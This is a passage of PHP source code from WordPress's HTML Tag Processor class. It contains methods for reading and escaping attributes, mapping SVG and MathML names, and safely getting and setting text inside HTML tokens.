		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
